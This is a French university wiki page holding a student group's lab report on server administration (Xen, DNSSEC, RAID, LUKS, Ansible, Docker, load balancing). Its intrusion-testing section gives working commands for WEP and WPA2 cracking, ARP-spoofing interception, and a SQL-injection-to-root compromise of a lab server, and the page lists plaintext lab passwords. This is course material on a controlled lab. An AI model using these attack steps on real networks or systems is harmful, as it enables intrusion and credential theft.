Wiki d'activités IMA - Contributions de l’utilisateur [fr]

Fichier:Mail.png

2021-01-23T18:32:44Z

Psanchez :

Fichier:Users.png

2021-01-23T18:25:52Z

Psanchez :

TP sysres IMA5sc 2020/2021 G5

2020-12-28T13:48:23Z

Psanchez : /* Architecture de la ferme */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé. (Merci Paul pour ta carte graphique à 4 chiffres)

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté Capbreton voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des "apt install" et ne plus être considéré comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeurs en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour pouvoir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zone pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.site (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seule notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant ont été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-28T13:48:04Z

Psanchez : /* Equilibreur de charge */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

